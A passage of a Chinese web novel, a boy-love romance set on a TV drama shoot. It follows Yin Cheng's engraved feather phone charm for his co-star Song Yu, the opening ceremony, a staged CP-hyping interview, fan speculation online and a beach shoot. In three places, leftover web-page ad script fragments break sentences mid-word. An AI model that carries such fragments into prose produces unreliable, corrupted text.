“那个,昨天我跟乐盐出去,看到个东西,觉得挺适合你的,就、就想送给你!”印澄崩溃着自己的结巴,将握在手里的手机链递给宋屿。 这东西他在车上就悄悄掏出来了,却没敢打扰低气压的宋屿。 怂到现在,都攥热了。 宋屿晦暗的眸子倏然有了光,他接过手机链,忍不住确认一遍:“是……送给我?” “嗯!你粉丝叫‘小羽毛’嘛。”印澄害羞地笑笑。 那是款羽毛形状的手机链,银灰色的,羽身有手指般大小,羽轴与羽片雕刻得栩栩如生,做工精良,很是轻薄。 宋屿离开门口几步,站在走廊最亮的灯光下,反复打量着这份礼物,面色逐渐变得柔和。 “喜、喜欢吗?”印澄紧张地等着答案。 这只是件小玩意儿,可当初他一看见,就怎么都走不动步了。 宋屿欣赏半晌,浅笑道:“很好。” 印澄这才放松下来。 “不过,这行数字是什么意思?”宋屿摩挲着羽片背面的“5.26”,好奇地问。 数字很小,刻痕却很新,不像是出场自带的生产编号。 明显是顾客购买时特地刻上去的。 “没、没什么。”印澄难为情地挠挠头,刷开自己的门,鸵鸟一样钻进去,“晚安!” 那是他隐秘的小心思,还以为不会被发现呢。 谁知道宋屿观察力居然这么好! 哎,他当初不该多此一举的! 反正就是个小纪念品,旅游景点到处都是,宋屿也不会用,能收下就不错了…… “等等。”宋屿忽然用手撑住门。 走廊的顶光倾泻,将印澄的房间照亮。 印澄吓了一跳:“还、还有事吗?” 宋屿盯着他,沉默须臾,露出关切神色:“听化妆师说你的耳洞还要上药。” “嗯。”印澄茫然。 “我来帮你吧。”宋屿说着,松开抵住门的手,温柔一笑,“方便吗?” 印澄大脑宕机。 他眨眨眼,指着隔壁的1833:“可是……” 宋屿展臂,将自己的门重新推关。 “不方便?”宋屿把房卡揣回兜里,好整以暇地盯着他。 印澄撑不住了。 他稀里糊涂地侧开身,把突然改变主意的男神让进来。 灯光打开,还未收拾的房间让印澄瞬间脸红。 他着急忙慌地把散落着的物品收拾起来,招呼宋屿在客厅坐下,又端了杯热水。 “酒精在哪儿?我先帮你擦药吧。”宋屿阻止他继续瞎忙,贴心地说。 印澄应着去翻药柜,弯下腰的瞬间,他才意识到一件事。 他的男神,进他房间了。 20. 开机仪式 快凌晨2点了,宋屿连熬两天,估计比他都累,怎么还有精神来帮他上药? 而且只是擦擦酒精而已啊。 难道宋屿是临时找的借口,只为和他多待一会儿? 哈哈,他想象力真是越来越丰富了。 印澄直起腰,把医用酒精和棉棒拿过去。 “你这里很有生活气息。”宋屿接过东西,喃喃道。 印澄被他夸得没脸。 宋屿也太温柔了,这么乱都能帮他找补。 “我平时都收拾的,就今天早上走太急……”印澄企图挽尊。 “过来。”宋屿举着棉棒,示意他坐下。 印澄乖乖坐好,侧过右耳,不敢乱动。 啊,这种紧张感是怎么回事。 好像回到打耳洞的那一天了。 新耳环重量比耳钉略沉,挂得久了,尚未愈合的嫩肉隐隐发痛。 能忍,却是种稀碎的折磨,像若有似无的牙疼,总归不舒服。 宋屿用食指和拇指轻扯他的耳垂,凑近察看,片刻后,动作轻柔地帮他上药。 酒精的冰凉触感激得印澄颤了颤,他暗恼,努力表现得没那么敏.感。 “痛吗?”宋屿暂停动作,“我再轻点。” “没事,来吧。”印澄装成若无其事的样子。 因着做足了心理防备,再敷药,倒真能受住了。 右耳完毕,印澄调整坐姿,左侧身朝宋屿坐着。 “我猜,”宋屿擦拭着酒精,低声道,“5.26,是你的生日?” 印澄瞬间石化。 他刚要否认,立即意识到这种基础信息根本瞒不住。 只要宋屿想,分分钟能查出。 与其到时候丢个大的,不如现在就认吧。 失去粉底的遮掩,印澄的脸红一目了然。 “是……”他承认得很小声。 宋屿低沉地笑了,并没打算放过他:“为什么?” 是啊,为什么? 送别人礼物,即便要刻,正常来讲也得刻对方的生日。 他这算什么。 印澄很无助。 甚至在祈祷敖乐盐能破门而入。 救救他救救他救救他! “咳,你的小羽毛那么多,刻上生日,才能代表这个是我……” 喂!越描越黑了喂! “就想着,陪伴嘛,手机链能随身带……” 别自爆卡丁车啊喂! “嗯……我……” 现在还没到放弃的时候! 快想想,怎么能把话圆回去! 印澄同学!快想!! “那个,杨导不是说过,让我沉浸一点嘛,最好能假装爱上你,这样对演戏也有帮助。” 就是这个! 这借口不错! “你要是觉得不舒服的话,就、就还给我吧!” 啊啊啊啊!尽力了! 宋屿能相信吗? 拜托!相信吧! 宋屿移开棉棒,不着痕迹地捏了下印澄红得快滴血的耳垂。 他掏出自己的手机,与那条手机链一起交给印澄:“帮我戴上吧。” “嗯……嗯?你、你要戴?”印澄吃惊。 “是啊,我不太会弄。”宋屿盯着他,意味深长,“麻烦你了。” 印澄接过东西,手却软得慌,只觉得使不上力气。 没等系好扣,羽毛链竟突然滑落,掉了! “啊!”印澄忙俯下身去捡,没想到目光所及之处,居然见不到踪影! “掉哪儿了?”印澄有点慌,干脆半跪在地上找。 身边传来窸窸窣窣的响动,只见宋屿也学着他的样子找起来。 印澄呆住。 他觉得跟宋屿对着跪的姿势有点微妙。 双双求婚嘛?! 呃啊啊啊,手机链到底掉什么地方去了! 会不会是沙发底下? 啊!找到了! 印澄缩回胳膊,惊喜地盯着勾在指尖的羽毛链。 然后,眼睁睁地看见宋屿也从沙发缝里拽出了某样东西。 “这是面膜?”宋屿拍掉灰尘,念出那上面最醒目的几个粉色大字,“蜜桃……臀?” 印澄“啪”地一下抢回来。 很快啊。 指如疾风,势如闪电。 “这不是我用的!”印澄赶在宋屿之前开口。 “也没别人在我这里用过!”怕刚才的话有歧义,印澄狂打补丁。 “我朋友上次来落下的!” “我、我都让他带回去了!” 宋屿神色逐渐复杂:“你那位朋友,用这个?” “不不,呃,他……他以为我拍戏会需要……”印澄局促地捏着臀膜。 宋屿“哦”了一声,没再说什么。 两人安静地重新坐回沙发。 印澄双手翻花,不抖了也不软了,顷刻间把手机链系完物归原主。 够了,结束吧。 他宁可被男神翻到GAY片,也不想被找到臀膜啊。 “其实,用那个也无可厚非,”宋屿善解人意地说,“只要拍摄效果更好就可以了。 印澄眼前一亮:“真的?那干脆给你用吧!” 太好啦,他正愁该怎么处理呢。 这东西印澄不想用,朋友送的,丢也不合适,一直放着又占地方。 既然宋屿想得开,正好给他! 宋屿愣了愣,面色僵硬地接过第二份礼物:“……晚安。” “晚安!” * * * 开机仪式现场集聚了十几家媒体,长枪短炮地拍,稍远些的地方还有手举横幅的小羽毛在应援,很是热闹。 印澄做了全套妆发,听主持人在舞台上慷慨激昂,悄悄寻找自家粉丝。 小橙子呢? 一颗都没有么? 印澄举目,终于在角落里看到几位零星的小橙子,有的戴橙色发卡,有的提着编织的水果篮,里面满是橙子。 可可爱爱的。 除此之外,他还看到了小女巫。 “屿澄”超话虽然热闹,但跟宋屿的个人超话相比,仍然不是一个量级的。 更何况线下追星,毒唯跟CP粉的摩擦时有发生,当位置有限大家都站在一起时,鲜少有CP粉敢亮明身份。 不过来的那几位都比较勇,直接穿了女巫袍,手里还拎着飞天扫帚。 存在感那叫一个强。 印澄在心里默唱两句“祝你平安”。 主持人发完言后,杨导和张制片依次上去讲话。 张制片消失多天,此次出现啤酒肚缩小一圈,整个人清减不少。 但他似乎已经从失去KK的阴云中走出,讲话时声若洪钟,对着镜头笑得也开怀。 接下来,便是宋屿的顺序。 最 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 近温度飙升,他与宋屿穿的都是白T恤配牛仔裤。 舞台后面的布景是红色的,若站在一起,可能会有点像拍结婚证…… 印澄皱眉,隐约有种异样的感觉。 昨晚,杨导终于在群里解除了张制片的禁言,他们如今的穿搭就是他要求的。 原本印澄也没想太多,可现在看来,总觉得有点刻意。 卖CP。 主持人朝印澄招手,示意他到舞台右侧候场。 两分钟后,宋屿发言完毕,离场时顺便将麦克交给印澄。 短短的一瞬间,铺天盖地的闪光灯暴雪般袭来,奋力抓拍他们同框的身影。 印澄忽然有点喘不过气。 他接过麦克,站在舞台中央,还算流畅地背出早已准备好的发言词。 咔嚓声不断。 似乎他说每一个字的口型,都被精准无误地记录了下来。 印澄登台的经验不算少,但像这种被集中轰炸的情形,还是第一次碰到。 发言结束,他对着拥挤得毫无缝隙的数排镜头鞠躬致谢,这才敢随意呼吸。 吉时将到,接下来是焚香环节,众人持香集体祈愿,随后依次上香。 印澄拿着三柱高香,排在宋屿身后站着,后面还跟着不少人。 离香炉越近,浓烈的烟气就越熏眼。 印澄从小就受不了烧香,挨得近一点就流泪。 如今戴着吴鸿阳准备的墨镜,也没能缓和多少。 别流泪啊,他还有妆呢。 晕湿了可怎么是好。 “你还好吗?”宋屿看出他难受,低声问,“来我前面吧,快点结束。” 印澄猛摇头。 宋屿不在意细节,小羽毛中的事业粉可是相当在意。 男二敢提前插香就约等于抢番,照片流出不超半小时,他祖宗18代都能被骂翻天。 见印澄不肯,宋屿思忖着叫来助理沈秋,让他拿来个手持小电扇。 “啊,谢谢谢谢,救大命了!”印澄如获至宝,用小电扇吹着双眼,立刻舒服了。 “很快就插完了,再忍忍。”宋屿安抚着他,迈步走向香炉。 印澄安心点头。 嗯嗯。 嗯。 嗯?? 男神你要不要听听自己在说什么! 什么叫很快就插完了! 还让他忍! 虽然是好意,但听起来真的很奇怪啊!! 宋屿的速度很快,插完香反身走回来,帮他拿小电扇。 印澄不停地眨眼,在宋屿的旁边插好,成功撤退。 两人离开队伍,尽量站得远一点。 “还好吗?”宋屿举起小电扇,帮他吹眼睛。 “没事!”印澄四处张望,确认这会儿没镜头,赶忙摘下墨镜,问宋屿,“我眼妆花了吗?” 宋屿凑近他,低着头看:“没花,只是眼睛有点红。” 还好还好。 印澄放下心来。 咔嚓! 一道脆响不知从何处传来,吓了他一跳。 “哈哈,你看这俩孩子,关系就是好啊,在这儿说话呢!”张制片粗着嗓子走过来,身后带着记者和摄像师。 印澄迅速将墨镜戴好,压下烦躁。 “趁这会有时间,吴记者想采访你们两句,可以吗?”张制片满脸堆笑。 虽是询问,却已把人带到近前。 21. 采访 宋屿没立刻答应,这显然不是事先商量好的行程。 制片人张韦达略带歉意地做了个手势,让采访人员暂且等候。 “放心,不会乱问的,都是常规问题。”张韦达压低声音,努力挤出笑。 “我没见过那位记者。”宋屿态度冷淡,旁边的助理沈秋见状,立刻过来交涉。 “哎,怎么越弄越麻烦呢?吴记者绝对靠谱,我能替他担保!”张韦达似要发作,却又不敢,勉强忍住气。 “杨导安排的采访是洪记者,时间定在半小时后。”印澄也觉得不对劲。 张韦达一听印澄的声音就冒火,显然还记着先前的账。 但目前这种情形,即便是曾经不放在眼里的小糊咖,他也不能轻易得罪。 1分钟后,印澄的助理秦鸣也跟过来了,冷着张脸,将他不着痕迹地挡在身后。 “哎呦喂,真是怕了你们了!实话说吧,我请吴记者来,为的是维持热度!”张韦达招架不住,只得撂底。 “‘屿澄’超话是很火,但剧拍4个月,剪辑送审再上线怎么也得一年多!” “这期间但凡出爆剧,轻轻松松就能把流量转移走,没准还会被哪家吸粉固粉,对《欲都》都是种损失。” “尤其是KK那部剧,我打探过了,对面是情感都市剧,两个月就能拍完,大概率会赶在咱们之前上线!题材刺激,风格火爆,极有可能把大盘吸干!” “我不琢磨点别的能行吗?《欲都》也是我的心血,当初创意都是杨临跟我喝酒聊出来的!” “总之,我就是想让你俩多炒炒CP□□,吴记者待会的问题也会往这方面引导,放心吧,保证没坑!” “咱现在是一条绳上的蚂蚱,我还能害自己吗?” “况且这事儿,杨临也同意了!” “拜托啊两位老师,麻烦你们!” 张韦达苦口婆心,几乎要把圆脸抽成苦瓜。 他姿态放得很低,给足了面子。 等在旁边的吴记者不断低头看表,时不时地冲这边笑笑。 宋屿跟印澄对视一眼,勉强同意。 无论哪个组,营销CP都是避不可少的。 张韦达喜出望外,胖脸笑出深深的褶,招手让采访组过来。 确认双眼不再发红,印澄摘下墨镜,跟宋屿露出营业微笑。 简单寒暄过后,顶着满头锡纸烫的吴源记者正式开始。 吴源先前的问题很简单:入组《欲都》心情如何、今天紧不紧张、刚才上香许的什么愿等等。 做完铺垫,他便把话题往俩人身上引。 “刚刚二位老师在做什么?说悄悄话?那个角度,我还以为你们亲上了呢!”吴源哈哈笑着,周围的两三名工作人员也跟着乐,营造出放松的打趣气氛。 印澄解释:“没有,我眼睛疼,屿哥在帮我看眼睛。” 吴源揶揄:“哦~好耳熟的借口哦~” 又是阵起哄的笑,尬得印澄头皮发麻。 这糖找得也太刻意了,哪对明星情侣敢当众乱亲。 那不是疯子么? “网上有人拍到,印老师前两天曾乔装打扮,跟敖乐盐约会一整天,请问有这回事吗?”吴源嬉笑着问。 印澄失声:“什么约会!我们认识很多年了,一起出去玩而已啊!” “哈哈,我也是开玩笑,别紧张嘛。”吴源对印澄的反应很满意,转过话筒问宋屿,“看到相关新闻,您怎么想?会吃醋吗?” 印澄:…… 宋屿:…… 太离谱了。 张韦达这又是从哪儿刨来的关系户。 印澄悄悄观察宋屿,不知他忍耐的极限在哪里。 “跟朋友出去是件很正常的事,希望某些媒体不要夸大其词。”宋屿语气冷淡。 看吧,果然生气了。 印澄默默叹气。 “不过,”宋屿忽然补充道,“如果有机会,希望他们下次能带上我。” 采访组倒吸一口气,夸张地发出起哄声。 印澄震惊。 体面回答记者的烂问题之余,还能自然地给出糖! 这、这就是顶流的业务能力! 印澄调整心态,仔细留意着宋屿的应对方式,每听一句都觉得受益良多。 专业! 受教了! 吴源的八卦采访进行差不多10分钟,张韦达在镜头外做出终止手势,示意结束。 “好,最后一个问题:宋老师,您的手机链这么别致,是自己买的,还是别人送的呀?”吴源故意问道。 他观察力颇强,从入场开始就一直在偷偷留意宋屿和印澄,企图找到能做文章的蛛丝马迹。 方才助理沈秋过来时,顺便把保管着的手机交还给宋屿,正巧让吴源看到了。 那条银灰色的手机链很醒目。 如果这两人上道,就能顺着他的话搞出爆点! 印澄紧张,不安地望向宋屿。 “是……一个朋友送的。”宋屿笑笑,拿出手机,在镜头面前晃了晃。 “哇,能让我再看看吗?”吴源打蛇上棍。 “抱歉,私人物品,不方便。”宋屿礼貌拒绝。 “呦~这么宝贝,是不是很重要的人送的啊?”吴源满脸跑眉毛,腔调山路十八弯。 接着,他忽然调转话筒,直接怼到印澄脸前:“难道是印老师?” 印澄满脸通红,瞄了眼宋屿,笑得害羞,没承认也没否认。 吴源握紧拳头,内心狂喜。 6啊!太配合了! 今晚热搜肯定爆! 他要红了! …… 吉时已到,主创人员聚集在摄像机周围,高喊“开机大吉”,齐心将红布掀开。 礼炮高鸣,撒下无数金纸,现场人声鼎沸,欢呼着宣告这段重要的旅程即将开始。 印澄接过工作人员递来的红包,隔着漫天彩带看向宋屿,恍如隔世。 似乎回到了《星途闪耀》的决赛夜。 当时的他只能坐在黑压压的观众席,目睹他跟别人站在镁光灯下。 几步之遥,远得令人绝望。 没想到这么快,他也能跟宋屿并肩而立。 这一切都不真实得像场梦。 他会在下一个瞬间醒来,发现自己正趴睡在出租屋的书桌上吗? “哇,里面是彩票诶!今晚开奖,能不能轮到我发财啊!”吴鸿阳拆开红包,满脸兴奋。 “概率是千万分之一。”秦鸣吐槽归 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吐槽,却也没扔。 “嘻嘻,我要中奖就直接辞职,全世界地玩!澄澄,你呢?你今晚中500万还演戏不?财富自由了啊!”吴鸿阳陷入畅想。 印澄笑了笑,把红包贴在胸口。 “演啊。” 没钱要演,有钱更要演。 若是中得多,他就用钞能力投资宋屿的所有项目,跟宋屿永远在一起。 男神和事业,他都要。 * * * 吴源预料得不错,他发出的采访视频的确爆了。 但事情还有后续。 有一波毒唯小羽毛坚决否认印澄是手机链的主人,认为印澄故意含糊其辞,其心可诛。 小女巫们奋力迎战,两方很快淹没吴源记者的评论区,让他出来给个说法。 吴源被恶意举报上千条,刚回复两句,号就被封了。 事情愈演愈烈,得不到真相的小女巫开启线下行动,大肆调查印澄那天外出游玩的行动轨迹。 靠着狗仔爆出的资料和一些路人的零散投稿,3日后,她们终于锁定了卖钥匙链的摊位! 对上了! 一切都对上了! 摊主是位中年男子,对印澄倒是有点印象。 尽管那日印澄化过伪妆,相貌变得普通,但气质还是跟旁人不一样。 文质彬彬的,身材也好。 胜利的小女巫们拿着摊主的证词四处洗冤,要求嘴过印澄的毒唯立刻道歉。 毒唯自是不肯,却也蔫了气势,对小女巫们且战且退。 小女巫面对唯粉第一次取得胜利,在超话里掀起阵狂欢。 就在这时,前线传来最新情报。 据摊主回忆,印澄曾在羽毛链上刻过数字,但时间太久,客流量又大,具体刻的什么,摊主实在想不起。 胜利的喜悦远及不上新发现的糖,另有小女巫截图吴源记者的采访视频,逐帧分析,进一步证实了羽毛链刻有数字的事实。 可惜数字太小,即便放到最大也很模糊,真相便成为未解之谜。 经过数番激烈讨论,超话里开启了投票。 关于那串数字的推测: 1、宋屿生日。 2、印澄生日。 3、初次见面纪念日。 到此为止还算正常,可随着投票人数增多,一些逆天选项也逐渐被收录其中。 4、告白纪念日。 5、接吻纪念日。 6、初啪纪念日。 第6选项以惊人的势头飞速涨票,很快压过普遍认为可能性最大的“宋屿生日”,名列第一。 印澄在屏幕后急得上蹿下跳,甚至用小号给“宋屿生日”投了张票。 天呐,宋屿可是会看这个超话的啊。 不要顶这么离谱的选项啊!! 印澄战战兢兢睡了,入梦前还不忘对天祈祷。 次日清晨,他怀着忐忑的心察看最终结果,愕然发现票数最高的,居然变成了选项2。 印澄忽然感觉身上凉飕飕的。 这群小女巫!居然峰回路转勘破了真相! 评论区首条留言点赞量悬殊。 【果然群众的眼睛是雪亮的[呲牙笑] wuli澄澄就是个心机boy!】 22. 海滩 此说法颇受推崇,短短一夜间,印澄在超话里有了新人设。 钓系诱受。 数十篇新文无一不贯穿着这个人设,印澄成了高段位浪蝶,在宋屿面前伪装成小白兔,明勾暗引地撩拨宋屿。 最终宋屿扛不住诱惑,由直变弯,两人共赴生命大和谐。 印澄看得一脸问号。 谁钓? 他? 他都快让宋屿钓成蚊香盘了! 小女巫!你们磕错了喂! 印澄的呐喊无人理会,超话的热度空前高涨,牢牢占据榜一,势不可挡。 《欲都》再度爆火,却也迎来了艰巨的考验。 据可靠消息称,各路狗仔、站姐纷纷出动去拍摄现场蹲守,数量粗略估计已然破百。 剧组能否做好安保工作,防止剧情外泄,也就成了圈内热议的话题。 杨导跟张韦达就相关事项开过数次会议,直接将安保人手加强5倍,铁桶防御,不给代拍可乘之机。 专业人做专业事,印澄倒是不关心这些。 宋屿前期有大段的单人戏份,自开机后狂拍5天,搞得印澄分外清闲。 剧本烂熟于心,耳朵也彻底养好,印澄无聊,干脆加练刀法,如今连华丽夸张的“蝴蝶转刀”都能完美呈现,足够拍摄使用。 他万事俱备,只想尽快跟宋屿搭上戏。 哎,他们在同人文里时刻缠绵,现实却是见一面都难。 宋屿日日早出晚归,他也不好意思去打搅,只敢跟OWL哭诉相思苦。 他们已经很久没约过饭了! 等了又等,通告单看了又看,印澄终于盼到出外景这天。 拍摄场地是南湾海滩,离酒店距离不近,单程就要2个小时。 印澄和吴鸿阳收拾好行李,提前半小时坐车出发。 除商务车外,SN还给印澄配了辆房车,方便他拍戏途中休息,此次出行,坐的正是这辆。 配置普通,却是方难得的小天地,里面除休息区外,还有卫生间,甚至能淋浴。 印澄和吴鸿阳在车上走来走去,感慨日后挣钱了,一定要买辆属于自己的。 秦鸣淡定地跟在后面,帮他重温拍摄计划。 在海边,米契尔要去玩水上摩托,把名贵的钻表摘下,交给保镖罗伊保管。 贝克侦探安排比基尼美女勾引罗伊,趁其不备偷走钻表。 最后米契尔回到岸上,保镖罗伊惊惧交加,跪地求饶。 这是米契尔在剧中的初次登场,并没有台词,杨临会用他人的反应来衬托米契尔的恐怖,营造神秘感。 而贝克侦探也正是在这里,第一次见到米契尔的容貌。 剧组很舍得砸钱,为拍这场戏,已经将整个浴场租下,还设了临时围栏,并派大量保安巡逻,防止有人悄悄闯入。 如此一来,粉丝们和代拍便大多围聚在浴场入口处,戴着遮阳帽、墨镜的防晒物品,等待主演的车辆经过。 “我可以跟她们打招呼吗?”印澄看见有小橙子的身影,忍不住问秦鸣。 秦鸣点头:“可以,毕竟行程是公开的。” 印澄放下心,按下车窗,朝外面笑着挥了挥手。 “啊啊啊啊!澄宝!麻麻爱你!” “澄宝加油!” “注意防晒!别黑喽!” “小心色狼!” 印澄脸红,佯装没听见。 周围发出一阵哄笑,原本安静的小羽毛们也朝他招手。 车辆驶进浴场停稳,化妆师和服装师一起上车,开始帮他做造型。 吴鸿阳笑个不停,捧着肚子问印澄:“怎么都叫你‘澄宝’,没人喊‘老公’呢?” 化妆师赵思晏听得直乐:“弟弟这么嫩,哪能当老公啊!” “我都二十多了!”印澄臊得没脸,试图挽回形象。 哎,他家小橙子的画风从来都清奇,私信留言没什么梦女发言,除了碎碎念就是调戏。 做数据和反黑的基本没有,超话里的留贴也基本没人在意格式,都在闲聊。 怎么说呢…… 印澄一直在被粉丝“放养”,对他的事业也没啥过高期待。 随时爬墙,偶尔回家,知道他还没退圈就行了。 如今他热度攀升,才有那么多人追线下。 大概是“好大儿终于出息了,我得来看看”的感觉吧。 印澄的海边造型较为简约,大约20分钟就弄好了。 他头顶墨镜,身穿红色碎花衬衫配黑短沙滩裤,赤着脚,右手手腕戴着个金属色的腕环。 这道具,就是剧中董事长父亲为检测米契尔健康而强迫他戴的体环。 收拾妥当后,印澄走下房车,撑开黑色遮阳伞,踩在沙滩上。 海风很大,吹来咸咸的味道,印澄深呼吸,感觉风也吹进了身体里。 迎着湛蓝无垠的天,他看见宋屿站在临时搭建的工作帐篷里,跟杨导低头说话。 “印老师来了!”场助走在印澄旁边,扯着嗓子通报。 宋屿抬头,飞速打量着他的全身,主动走出帐篷,朝他张开双臂。 “阿澄。” 他唤了一声,像在招呼久未见面的旧友。 印澄加快脚步,把阳伞完全移到身后,和宋屿轻抱了下:“屿哥!” 温暖的怀抱一触即离,印澄把伞递给吴鸿阳,跟宋屿钻进帐篷。 花絮摄影师没错过刚才那幕,小跑着紧随其后。 宋屿的碎花衬衫是深蓝色的,同样赤着脚穿沙滩裤。 不过他半颗扣子也没系,衬衫一开到底,毫无顾忌地秀着优渥的腹.肌和人鱼线。 印澄很想克制住目光,但眼睛好像有它自己的想法,每过两秒就往那边瞟一下,像被黏住了似的。 宋屿的腹.肌紧致有型,如雕琢而成的精美石雕,每一道线条都完美得无可挑剔。 人鱼线浮现在身侧,顺着他的髋部蜿.蜒而下,性.感地散发魅力,让人想沿着那隐.秘路径,去往更炙.热的地方。 印澄看得口干舌燥,深觉这样不妥,试图侧过身站着,彻底隔绝这道诱人的风景线。 遗憾的是,他的腿也不听使唤。 非但没避,反而借着跟杨导说话的功夫,挪得离宋屿更近。 天呐。 他中蛊了嘛! 宋屿单手插兜,顺势将衬衫下摆别在身后,无意间露出更多光景。 印澄大脑翁鸣,沉浸在只属于宋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 屿的气息里,舒服得仿佛泡进了热泉。 啊,小羽毛真的不能失去宋屿。 才分开五天,他就魔怔了。 “……情况就是这样,还有什么疑问吗?”杨导讲完大概流程,例行公事地问。 天热,杨导把黑卷发在脑后扎成小垂揪,还戴了个发卡,归拢住其余碎发,形象变得干练不少,却仍有种艺术家的气质。 印澄拼命调动回忆,在脑内重播杨导讲过的话。 趁现在浪小,杨导要先拍水上摩托的戏份。 米契尔跟其余富家子弟共驶5辆,身穿黑衣的保镖们驶10辆,呈圆形包圈保护着他们的安全。 “杨导,我开过水上摩托,可以自己驾驶吗?”印澄提议。 这是米契尔的初登场,应该酷一点才对。 若是抱着驾驶员的腰坐摩托,怎么想都颓颓的,拍出来的画面也不会太好看。 “真的?”杨导眼前一亮,立刻用对讲机找人,带印澄去试驾。 “阿澄!”宋屿叫住他,皱眉提醒,“正式拍不穿救生衣,很危险。” 米契尔那帮公子哥儿胡闹惯了,喜欢追求刺激,互相又爱较劲,按设定走是没法穿安全防护的。 围读时,杨导曾问过印澄会不会水,得到肯定回答才定下这场戏。 原本有专业教练在,发生事故的概率极低,可现在这么一改,不确定因素就增加了。 “放心,我水性很好的!”印澄笑容明媚,带着宋屿的关心走向教练。 宋屿站在原地,望着印澄的背影,有片刻晃神。 那样自信又笃定的笑,很耀眼。 …… 印澄很快用实际行动,打消了所有人的顾虑。 他在教练的监督下缓慢试骑两圈儿,随后开始加速、转弯,甚至是急停,样样都做得出色。 海水被发动机搅得雪白,浪花在他身后飞扬,留下潇洒的痕迹。 印澄骑得过瘾,上岸后得到教练和杨导的大力称赞,并将确切的行驶路线告知给他。 配角群演们全部就位,每位外围的黑衣保镖都由冲浪教练或救生员扮演,确保演员们的安全。 3台8K无人机升空,用俯瞰、追随等多个角度进行拍摄。 印澄握住车把,紧张地朝岸边看了一眼,发现宋屿正举着手机,亲自录像。 是在录他? 还是录这难得的大场面? “差不多了,各部门注意!”杨导的扩音喇叭声传到海面。 印澄收敛心神,屏住呼吸,其余人也停止交流,严正以待。 他们在等。 等那一声号令。 “三二一!Action!” 十五台发动机的轰鸣声瞬间启动,嚣张地响彻天际。 印澄一马当先,飞速行驶出一段距离后,开始跟另外四辆水上摩托追逐嬉戏。 他知道,母带剪辑时多半只会留下背影,但他还是呐喊着,演出了米契尔的神态。 心率不断上升。 快,再快,更快! 米契尔知道,心跳飙升成这样,回去肯定要被斥责,但他不在乎。 这一刻,谁都管不了他。 他是米契尔。 23. 椰子水 海上摩托靠岸,印澄踩着被太阳烤到发烫的沙滩,顿觉踏实。 周围响起热烈的掌声,他羞赧地摆摆手,边活动手腕边朝杨导走去。 海面戏份拍了近一小时,印澄手被震得发麻,好半天都缓不过劲儿。 “不错不错,非常完美!我签你真是挖到宝了!”杨导难得情绪外放。 印澄被夸得不好意思,确认不用补拍,这才去找宋屿。 “屿哥,你也在拍吗?”印澄好奇。 宋屿坐在椰子树下庇荫,反复观赏手机里的录像,见他过来,欣然邀他一起看。 印澄把一边的休闲椅拉到宋屿身旁,等他从头放。 宋屿手机画质很高清,放大后目标明确地聚焦到印澄。 从他下海前,导演未喊“Action”的时候,就已经在拍了。 金色的阳光倾洒海面,像是匹广袤的、漂浮不定的绸缎。 印澄的碎红衬衫化成一抹火焰,流星般燃烧着,划出一道道绚丽的轨迹。 海浪在脚下奔腾,衣角鼓风飞扬,他笑容肆意,带着天不怕地不怕的狂气,热烈而张扬。 宋屿把印澄拍得很好,镜头始终追寻,没让旁人挡到他半点。 印澄喜出望外,跟宋屿又说了两句话,发现他的目光仍紧盯着屏幕。 那神态,印澄很熟悉,却从未见宋屿流露过。 是迷恋。 可印澄就坐在他旁边,从登岸到现在,都没得到过他一个眼神。 宋屿在迷恋摩托上的人。 那是米契尔。 不是他。 印澄忽然觉得胸口闷闷的,没再陪宋屿接着看。 他走出一段距离,奇怪身体上的不良反应。 恰逢吴鸿阳过来帮他打阳伞,印澄就顺势跟他闲聊天,故意被一点小事逗得发笑。 阳光明媚,笑着笑着,那丝异样也就烟消云散了。 短暂休息后,下场戏进入筹备。 米契尔的贴身保镖罗伊是位金发碧眼的外国男子,高大雄壮,肌肉将黑西装撑得鼓鼓的。 他会说普通话,口音有点明显,跟杨导多半还是用英语沟通。 远处的群演们得到消息,陆续朝拍摄地点走来,各种肤色的帅哥美女都有,泳装或清凉或火辣,十分养眼。 印澄受到不小的视觉冲击,连连咋舌,粗略数了数,发现差不多有几百名。 难怪KK临时撂挑子杨导会着急找人,这花销可真不少。 普通群演好找,像这种有特殊要求的就要提前协调了。 外貌出众的群演邀约都很满,哪个组没按时开拍,那就是错过了,照样有别的组顶上。 《欲都》若真因换人风波误工,再想招揽这么多身材好的各国群演,不知又要花费多少时间。 更何况,场地租赁也需提前几个月谈好,有的等待审批,甚至要等小半年。 这还只是一个外景,剧组连拍四个月,所有部署均已谈妥,牵一发而动全身。 每耽搁一天,损失费都将是天文数字。 KK为撕平番选在快开机时发难,也算是孤注一掷了。 这梁子不小。 印澄叹口气,转头去看宋屿,发现他已经放下手机,过去跟罗伊保镖对戏。 两人相处融洽,罗伊说到兴处,抬起胳膊和宋屿碰拳。 偷表戏即将开拍,印澄另选了棵椰子树休息,没回宋屿那边去。 理由…… 印澄不知道。 他只是觉得,这样能让自己舒服点。 随着导演的一句“ Action”,原本安静的沙滩顿时变得热闹。 每位群演都忠实地扮演着游客的身份,有的躺在沙滩垫上,有的吹泳圈,还有人在玩沙滩排球。 罗伊保镖把钻表揣进怀里,先是望海发呆,很快又被大量的比基尼美女吸引,目光不断追随她们的身影。 没过多久,一位红发美女端着杯鸡尾酒,来向罗伊搭讪。 罗伊起初话不多,被热情地纠缠了会儿,态度逐渐缓和,警惕也放松下来。 贝克侦探便是在这时出场的。 他混杂在一大群嬉戏的冲浪手中朝罗伊靠近,不轻不重地撞了下他,极其隐秘地用两指将钻表夹出偷走。 动作流畅,很像老手。 与此同时,拿鸡尾酒的美女亦跌靠在罗伊身上,吸引他的注意力。 罗伊恼怒,护着美女对那群人咒骂,却只得到几个中指回礼。 贝克侦探神色冷峻,径直走出镜头外。 摄影师随即切换重点,拍罗伊保镖发现钻表丢失,怀疑美女,想强行搜身,被路人们制止后惨遭群殴的场景。 一遍过,杨导甚至没再特拍贝克侦探偷表的单独镜头,力求真实感。 这是印澄第一次见到贝克。 不苟言笑,果断,冷静。 虽已融入了周围的环境,独特的气质却能让印澄轻而易举地锁定他。 “歇着呢?”张韦达突然出现,吓了印澄一跳。 活见鬼了。 他现在看到那张肥脸笑,就觉得有阴谋。 场助气喘吁吁地把两个削好的椰子放在休闲桌上。 